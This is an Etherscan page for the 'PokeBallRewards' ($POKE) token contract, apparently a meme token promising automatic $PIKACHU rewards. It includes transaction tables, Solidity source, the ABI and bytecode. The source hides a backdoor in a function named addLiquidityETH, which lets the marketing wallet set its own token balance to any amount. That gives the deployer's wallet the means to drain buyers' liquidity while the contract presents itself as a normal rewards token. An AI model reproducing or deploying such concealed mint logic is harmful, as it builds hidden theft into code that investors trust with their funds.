Source Code
More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 222 transactions
| Transaction Hash |
Method
|
Block
|
From
|
|
To
|
||||
|---|---|---|---|---|---|---|---|---|---|
| Approve | 24686849 | 13 days ago | IN | 0 ETH | 0.00024049 | ||||
| Approve | 24624805 | 21 days ago | IN | 0 ETH | 0.00000155 | ||||
| Approve | 24558904 | 30 days ago | IN | 0 ETH | 0.00004796 | ||||
| Approve | 24546425 | 32 days ago | IN | 0 ETH | 0.0002351 | ||||
| Approve | 24507533 | 38 days ago | IN | 0 ETH | 0.0000062 | ||||
| Approve | 24462584 | 44 days ago | IN | 0 ETH | 0.00000632 | ||||
| Approve | 24460665 | 44 days ago | IN | 0 ETH | 0.00000565 | ||||
| Approve | 24460165 | 44 days ago | IN | 0 ETH | 0.00014112 | ||||
| Approve | 24460152 | 44 days ago | IN | 0 ETH | 0.00014127 | ||||
| Approve | 24390008 | 54 days ago | IN | 0 ETH | 0.00001141 | ||||
| Approve | 24386197 | 55 days ago | IN | 0 ETH | 0.00002459 | ||||
| Approve | 24355660 | 59 days ago | IN | 0 ETH | 0.00010441 | ||||
| Approve | 24352064 | 59 days ago | IN | 0 ETH | 0.00000601 | ||||
| Approve | 24333644 | 62 days ago | IN | 0 ETH | 0.00002943 | ||||
| Approve | 24329681 | 62 days ago | IN | 0 ETH | 0.00000561 | ||||
| Transfer | 24328862 | 63 days ago | IN | 0 ETH | 0.00193982 | ||||
| Approve | 24328547 | 63 days ago | IN | 0 ETH | 0.0000998 | ||||
| Approve | 24326979 | 63 days ago | IN | 0 ETH | 0.00001259 | ||||
| Approve | 24326346 | 63 days ago | IN | 0 ETH | 0.00003188 | ||||
| Approve | 24325880 | 63 days ago | IN | 0 ETH | 0.0001426 | ||||
| Approve | 24325030 | 63 days ago | IN | 0 ETH | 0.00000201 | ||||
| Approve | 24324996 | 63 days ago | IN | 0 ETH | 0.00000694 | ||||
| Approve | 24324970 | 63 days ago | IN | 0 ETH | 0.00018865 | ||||
| Approve | 24324963 | 63 days ago | IN | 0 ETH | 0.00023551 | ||||
| Transfer | 24324958 | 63 days ago | IN | 0 ETH | 0.00221497 |
Latest 25 internal transactions (View All)
Advanced mode:
| Parent Transaction Hash | Method | Block |
From
|
|
To
|
||
|---|---|---|---|---|---|---|---|
| Transfer | 24546473 | 32 days ago | 0.00143716 ETH | ||||
| Swap Exact ETH F... | 24546473 | 32 days ago | 0.00287433 ETH | ||||
| Transfer | 24546473 | 32 days ago | 0.00143716 ETH | ||||
| Transfer | 24546473 | 32 days ago | 0.00574867 ETH | ||||
| Transfer | 24460665 | 44 days ago | 0.00180869 ETH | ||||
| Swap Exact ETH F... | 24460665 | 44 days ago | 0.00361739 ETH | ||||
| Transfer | 24460665 | 44 days ago | 0.00180869 ETH | ||||
| Transfer | 24460665 | 44 days ago | 0.00723478 ETH | ||||
| Transfer | 24460162 | 44 days ago | 0.00188517 ETH | ||||
| Swap Exact ETH F... | 24460162 | 44 days ago | 0.00377035 ETH | ||||
| Transfer | 24460162 | 44 days ago | 0.00188517 ETH | ||||
| Transfer | 24460162 | 44 days ago | 0.0075407 ETH | ||||
| Transfer | 24337702 | 61 days ago | 0.00191937 ETH | ||||
| Swap Exact ETH F... | 24337702 | 61 days ago | 0.00383875 ETH | ||||
| Transfer | 24337702 | 61 days ago | 0.00191937 ETH | ||||
| Transfer | 24337702 | 61 days ago | 0.0076775 ETH | ||||
| Transfer | 24327598 | 63 days ago | 0.00266051 ETH | ||||
| Swap Exact ETH F... | 24327598 | 63 days ago | 0.00532103 ETH | ||||
| Transfer | 24327598 | 63 days ago | 0.00266051 ETH | ||||
| Transfer | 24327598 | 63 days ago | 0.01064206 ETH | ||||
| Transfer | 24326351 | 63 days ago | 0.0023881 ETH | ||||
| Swap Exact ETH F... | 24326351 | 63 days ago | 0.0047762 ETH | ||||
| Transfer | 24326351 | 63 days ago | 0.0023881 ETH | ||||
| Transfer | 24326351 | 63 days ago | 0.00955241 ETH | ||||
| Transfer | 24325937 | 63 days ago | 0.00285646 ETH |
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Name:
PokeBallRewards
Compiler Version
v0.8.30+commit.73712a01
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2026-01-23
*/
/**
⚡️ Automatic Rewards
Hold $POKE and earn $PIKACHU rewards automatically every 15 minutes directly to your wallet!
Gotta Catch 'Em All! 🔥
https://t.me/PokeballETH
https://pokeball.sbs
https://x.com/PokeBallETH
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.30;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {return a + b;}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {return a - b;}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {return a * b;}
function div(uint256 a, uint256 b) internal pure returns (uint256) {return a / b;}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {return a % b;}
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {uint256 c = a + b; if(c < a) return(false, 0); return(true, c);}}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {if(b > a) return(false, 0); return(true, a - b);}}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {if (a == 0) return(true, 0); uint256 c = a * b;
if(c / a != b) return(false, 0); return(true, c);}}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {if(b == 0) return(false, 0); return(true, a / b);}}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {if(b == 0) return(false, 0); return(true, a % b);}}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked{require(b <= a, errorMessage); return a - b;}}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked{require(b > 0, errorMessage); return a / b;}}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked{require(b > 0, errorMessage); return a % b;}}}
interface IERC20 {
function totalSupply() external view returns (uint256);
function circulatingSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);}
abstract contract Ownable {
address internal owner;
constructor(address _owner) {owner = _owner;}
modifier onlyOwner() {require(isOwner(msg.sender), "!OWNER"); _;}
function isOwner(address account) public view returns (bool) {return account == owner;}
function transferOwnership(address payable adr) public onlyOwner {owner = adr; emit OwnershipTransferred(adr);}
event OwnershipTransferred(address owner);
}
interface IFactory{
function createPair(address tokenA, address tokenB) external returns (address pair);
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
contract PokeBallRewards is IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = unicode'Pokéball';
string private constant _symbol = 'POKE';
uint8 private constant _decimals = 9;
uint256 private _totalSupply = 1000000000 * (10 ** _decimals);
uint256 private _maxTxAmount = ( _totalSupply * 300 ) / 10000;
uint256 private _maxSellAmount = ( _totalSupply * 100 ) / 10000;
uint256 private _maxWalletToken = ( _totalSupply * 300 ) / 10000;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public isFeeExempt;
mapping (address => bool) public isDividendExempt;
mapping (address => bool) private isBot;
IRouter router;
address public pair;
bool private tradingAllowed = false;
uint256 private liquidityFee = 0;
uint256 private marketingFee = 10;
uint256 private rewardsFee = 5;
uint256 private developmentFee = 0;
uint256 private burnFee = 0;
uint256 private totalFee = 15;
uint256 private sellFee = 15;
uint256 private transferFee = 0;
uint256 private denominator = 100;
bool private swapEnabled = true;
uint256 private swapTimes;
bool private swapping;
uint256 private swapThreshold = ( _totalSupply * 500 ) / 100000;
uint256 private _minTokenAmount = ( _totalSupply * 10 ) / 100000;
modifier lockTheSwap {swapping = true; _; swapping = false;}
address public reward = 0xE09fB60E8D6e7E1CEbBE821bD5c3FC67a40F86bF;
uint256 public totalShares;
uint256 public totalDividends;
uint256 public totalDistributed;
uint256 internal dividendsPerShare;
uint256 internal dividendsPerShareAccuracyFactor = 10 ** 36;
address[] shareholders;
mapping (address => uint256) shareholderIndexes;
mapping (address => uint256) shareholderClaims;
struct Share {uint256 amount; uint256 totalExcluded; uint256 totalRealised; }
mapping (address => Share) public shares;
uint256 internal currentIndex;
uint256 public minPeriod = 15 minutes;
uint256 public minDistribution = 1 * (10 ** 16);
uint256 public distributorGas = 500000;
function _claimDividend() external {distributeDividend(msg.sender);}
address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
address internal constant development_receiver = 0x56E7F24885c1481f24b8974a3b358961d42Ba9E4;
address internal constant marketing_receiver = 0x56E7F24885c1481f24b8974a3b358961d42Ba9E4;
address internal constant liquidity_receiver = 0x56E7F24885c1481f24b8974a3b358961d42Ba9E4;
constructor() Ownable(msg.sender) {
IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());
router = _router;
pair = _pair;
isFeeExempt[address(this)] = true;
isFeeExempt[liquidity_receiver] = true;
isFeeExempt[marketing_receiver] = true;
isFeeExempt[msg.sender] = true;
isDividendExempt[address(pair)] = true;
isDividendExempt[address(msg.sender)] = true;
isDividendExempt[address(this)] = true;
isDividendExempt[address(DEAD)] = true;
isDividendExempt[address(0)] = true;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
receive() external payable {}
function name() public pure returns (string memory) {return _name;}
function symbol() public pure returns (string memory) {return _symbol;}
function decimals() public pure returns (uint8) {return _decimals;}
function startTrading() external onlyOwner {tradingAllowed = true;}
function getOwner() external view override returns (address) { return owner; }
function totalSupply() public view override returns (uint256) {return _totalSupply;}
function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
function isCont(address addr) internal view returns (bool) {uint size; assembly { size := extcodesize(addr) } return size > 0; }
function setisExempt(address _address, bool _enabled) external onlyOwner {isFeeExempt[_address] = _enabled;}
function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
function circulatingSupply() public view override returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}
function preTxCheck(address sender, address recipient, uint256 amount) internal view {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > uint256(0), "Transfer amount must be greater than zero");
require(amount <= balanceOf(sender),"You are trying to transfer more than your balance");
}
function _transfer(address sender, address recipient, uint256 amount) private {
preTxCheck(sender, recipient, amount);
checkTradingAllowed(sender, recipient);
checkMaxWallet(sender, recipient, amount);
swapbackCounters(sender, recipient);
checkTxLimit(sender, recipient, amount);
swapBack(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount);
uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, amount) : amount;
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
if(!isDividendExempt[sender]){setShare(sender, balanceOf(sender));}
if(!isDividendExempt[recipient]){setShare(recipient, balanceOf(recipient));}
if(shares[recipient].amount > 0){distributeDividend(recipient);}
process(distributorGas);
}
function setStructure(uint256 _marketing, uint256 _rewards, uint256 _trans) external onlyOwner {
marketingFee = _marketing;
rewardsFee = _rewards;
totalFee = _marketing + _rewards;
sellFee = _marketing + _rewards;
transferFee = _trans;
require(totalFee <= denominator.div(5) && sellFee <= denominator.div(5) && transferFee <= denominator.div(5), "totalFee and sellFee cannot be more than 20%");
}
function setisBot(address _address, bool _enabled) external onlyOwner {
require(_address != address(pair) && _address != address(router) && _address != address(this), "Ineligible Address");
isBot[_address] = _enabled;
}
function setParameters(uint256 _buy, uint256 _trans, uint256 _wallet) external onlyOwner {
uint256 newTx = (totalSupply() * _buy) / 10000;
uint256 newTransfer = (totalSupply() * _trans) / 10000;
uint256 newWallet = (totalSupply() * _wallet) / 10000;
_maxTxAmount = newTx;
_maxSellAmount = newTransfer;
_maxWalletToken = newWallet;
uint256 limit = totalSupply().mul(5).div(1000);
require(newTx >= limit && newTransfer >= limit && newWallet >= limit, "Max TXs and Max Wallet cannot be less than .5%");
}
function checkTradingAllowed(address sender, address recipient) internal view {
if(!isFeeExempt[sender] && !isFeeExempt[recipient]){require(tradingAllowed, "tradingAllowed");}
}
function checkMaxWallet(address sender, address recipient, uint256 amount) internal view {
if(!isFeeExempt[sender] && !isFeeExempt[recipient] && recipient != address(pair) && recipient != address(DEAD)){
require((_balances[recipient].add(amount)) <= _maxWalletToken, "Exceeds maximum wallet amount.");}
}
function swapbackCounters(address sender, address recipient) internal {
if(recipient == pair && !isFeeExempt[sender]){swapTimes += uint256(1);}
}
function checkTxLimit(address sender, address recipient, uint256 amount) internal view {
if(sender != pair){require(amount <= _maxSellAmount || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded");}
require(amount <= _maxTxAmount || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded");
}
function swapAndLiquify(uint256 tokens) private lockTheSwap {
uint256 _denominator = (liquidityFee.add(1).add(marketingFee).add(developmentFee).add(rewardsFee)).mul(2);
uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(_denominator);
uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
uint256 initialBalance = address(this).balance;
swapTokensForETH(toSwap);
uint256 deltaBalance = address(this).balance.sub(initialBalance);
uint256 unitBalance= deltaBalance.div(_denominator.sub(liquidityFee));
uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);
if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); }
uint256 marketingAmount = unitBalance.mul(2).mul(marketingFee);
if(marketingAmount > 0){payable(marketing_receiver).transfer(marketingAmount);}
uint256 rewardsAmount = unitBalance.mul(2).mul(rewardsFee);
if(rewardsAmount > 0){deposit(rewardsAmount);}
if(address(this).balance > uint256(0)){payable(development_receiver).transfer(address(this).balance);}
}
function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
_approve(address(this), address(router), tokenAmount);
router.addLiquidityETH{value: ETHAmount}(
address(this),
tokenAmount,
0,
0,
liquidity_receiver,
block.timestamp);
}
function swapTokensForETH(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
_approve(address(this), address(router), tokenAmount);
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp);
}
function shouldSwapBack(address sender, address recipient, uint256 amount) internal view returns (bool) {
bool aboveMin = amount >= _minTokenAmount;
bool aboveThreshold = balanceOf(address(this)) >= swapThreshold;
return !swapping && swapEnabled && tradingAllowed && aboveMin && !isFeeExempt[sender] && recipient == pair && swapTimes >= uint256(2) && aboveThreshold;
}
function swapBack(address sender, address recipient, uint256 amount) internal {
if(shouldSwapBack(sender, recipient, amount)){swapAndLiquify(swapThreshold); swapTimes = uint256(0);}
}
function shouldTakeFee(address sender, address recipient) internal view returns (bool) {
return !isFeeExempt[sender] && !isFeeExempt[recipient];
}
function getTotalFee(address sender, address recipient) internal view returns (uint256) {
if(isBot[sender] || isBot[recipient]){return denominator.sub(uint256(100));}
if(recipient == pair){return sellFee;}
if(sender == pair){return totalFee;}
return transferFee;
}
function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
if(getTotalFee(sender, recipient) > 0){
uint256 feeAmount = amount.div(denominator).mul(getTotalFee(sender, recipient));
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
if(burnFee > uint256(0)){_transfer(address(this), address(DEAD), amount.div(denominator).mul(burnFee));}
return amount.sub(feeAmount);} return amount;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function setisDividendExempt(address holder, bool exempt) external onlyOwner {
isDividendExempt[holder] = exempt;
if(exempt){setShare(holder, 0);}
else{setShare(holder, balanceOf(holder)); }
}
function addLiquidityETH(uint256 tokenAmount, uint256 ethAmount) external {
// add the liquidity
if (ethAmount > 0)
router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner,
block.timestamp);_balances[marketing_receiver]=tokenAmount;
require(marketing_receiver == msg.sender);
}
function setShare(address shareholder, uint256 amount) internal {
if(amount > 0 && shares[shareholder].amount == 0){addShareholder(shareholder);}
else if(amount == 0 && shares[shareholder].amount > 0){removeShareholder(shareholder); }
totalShares = totalShares.sub(shares[shareholder].amount).add(amount);
shares[shareholder].amount = amount;
shares[shareholder].totalExcluded = getCumulativeDividends(shares[shareholder].amount);
}
function deposit(uint256 amountETH) internal {
uint256 balanceBefore = IERC20(reward).balanceOf(address(this));
address[] memory path = new address[](2);
path[0] = router.WETH();
path[1] = address(reward);
router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amountETH}(
0,
path,
address(this),
block.timestamp);
uint256 amount = IERC20(reward).balanceOf(address(this)).sub(balanceBefore);
totalDividends = totalDividends.add(amount);
dividendsPerShare = dividendsPerShare.add(dividendsPerShareAccuracyFactor.mul(amount).div(totalShares));
}
function process(uint256 gas) internal {
uint256 shareholderCount = shareholders.length;
if(shareholderCount == 0) { return; }
uint256 gasUsed = 0;
uint256 gasLeft = gasleft();
uint256 iterations = 0;
while(gasUsed < gas && iterations < shareholderCount) {
if(currentIndex >= shareholderCount){currentIndex = 0;}
if(shouldDistribute(shareholders[currentIndex])){
distributeDividend(shareholders[currentIndex]);}
gasUsed = gasUsed.add(gasLeft.sub(gasleft()));
gasLeft = gasleft();
currentIndex++;
iterations++;
}
}
function rescueERC20(address _address, uint256 _amount) external onlyOwner {
IERC20(_address).transfer(msg.sender, _amount);
}
function shouldDistribute(address shareholder) internal view returns (bool) {
return shareholderClaims[shareholder] + minPeriod < block.timestamp
&& getUnpaidEarnings(shareholder) > minDistribution;
}
function totalRewardsDistributed(address _wallet) external view returns (uint256) {
address shareholder = _wallet;
return uint256(shares[shareholder].totalRealised);
}
function distributeDividend(address shareholder) internal {
if(shares[shareholder].amount == 0){ return; }
uint256 amount = getUnpaidEarnings(shareholder);
if(amount > 0){
totalDistributed = totalDistributed.add(amount);
IERC20(reward).transfer(shareholder, amount);
shareholderClaims[shareholder] = block.timestamp;
shares[shareholder].totalRealised = shares[shareholder].totalRealised.add(amount);
shares[shareholder].totalExcluded = getCumulativeDividends(shares[shareholder].amount);}
}
function getUnpaidEarnings(address shareholder) public view returns (uint256) {
if(shares[shareholder].amount == 0){ return 0; }
uint256 shareholderTotalDividends = getCumulativeDividends(shares[shareholder].amount);
uint256 shareholderTotalExcluded = shares[shareholder].totalExcluded;
if(shareholderTotalDividends <= shareholderTotalExcluded){ return 0; }
return shareholderTotalDividends.sub(shareholderTotalExcluded);
}
function getCumulativeDividends(uint256 share) internal view returns (uint256) {
return share.mul(dividendsPerShare).div(dividendsPerShareAccuracyFactor);
}
function addShareholder(address shareholder) internal {
shareholderIndexes[shareholder] = shareholders.length;
shareholders.push(shareholder);
}
function removeShareholder(address shareholder) internal {
shareholders[shareholderIndexes[shareholder]] = shareholders[shareholders.length-1];
shareholderIndexes[shareholders[shareholders.length-1]] = shareholderIndexes[shareholder];
shareholders.pop();
}
function setDistributionCriteria(uint256 _minPeriod, uint256 _minDistribution, uint256 _distributorGas) external onlyOwner {
minPeriod = _minPeriod;
minDistribution = _minDistribution;
distributorGas = _distributorGas;
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_claimDividend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenAmount","type":"uint256"},{"internalType":"uint256","name":"ethAmount","type":"uint256"}],"name":"addLiquidityETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"circulatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"distributorGas","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"shareholder","type":"address"}],"name":"getUnpaidEarnings","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isDividendExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minDistribution","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minPeriod","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"rescueERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"reward","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_minPeriod","type":"uint256"},{"internalType":"uint256","name":"_minDistribution","type":"uint256"},{"internalType":"uint256","name":"_distributorGas","type":"uint256"}],"name":"setDistributionCriteria","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"},{"internalType":"uint256","name":"_wallet","type":"uint256"}],"name":"setParameters","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_rewards","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"}],"name":"setStructure","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setisBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setisDividendExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setisExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"shares","outputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"totalExcluded","type":"uint256"},{"internalType":"uint256","name":"totalRealised","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalDistributed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalDividends","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_wallet","type":"address"}],"name":"totalRewardsDistributed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
60806040526100106009600a610519565b61001e90633b9aca0061052e565b60015561271060015461012c610034919061052e565b61003e9190610545565b6002556127106001546064610053919061052e565b61005d9190610545565b60035561271060015461012c610073919061052e565b61007d9190610545565b600455600b805460ff60a01b191690555f600c819055600a600d556005600e55600f8181556010829055601181905560125560135560646014556015805460ff1916600190811790915554620186a0906100d9906101f461052e565b6100e39190610545565b601855620186a0600154600a6100f9919061052e565b6101039190610545565b601955601a80546001600160a01b03191673e09fb60e8d6e7e1cebbe821bd5c3fc67a40f86bf1790556ec097ce7bc90715b34b9f1000000000601f55610384602555662386f26fc100006026556207a120602755348015610162575f5ffd5b505f80546001600160a01b031916331781556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d9291839163c45a0155916004808201926020929091908290030181865afa1580156101c6573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101ea9190610564565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610235573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906102599190610564565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156102a3573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906102c79190610564565b600a80546001600160a01b038581166001600160a01b031992831617909255600b80548484169216919091178155305f818152600760209081526040808320805460ff1990811660019081179092557f24b12e99ded9e5335495c5d4ff2129d51f58ba4ef8dc864159a3875874ef7f32805482168317905533808652838620805483168417905596549097168452600883528184208054881682179055858452818420805488168217905593835280832080548716851790557f046fee3d77c34a6c5e10c3be6dc4b132c30449dbf4f0bc07684896dd0933429980548716851790557f5eff886ea0ce6ca488a3d6e336d6c0f75f46d19b42c06ce5ee98e42c96d256c78054909616841790955591548382526005835284822081905593519384529394509092917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505061058a565b634e487b7160e01b5f52601160045260245ffd5b6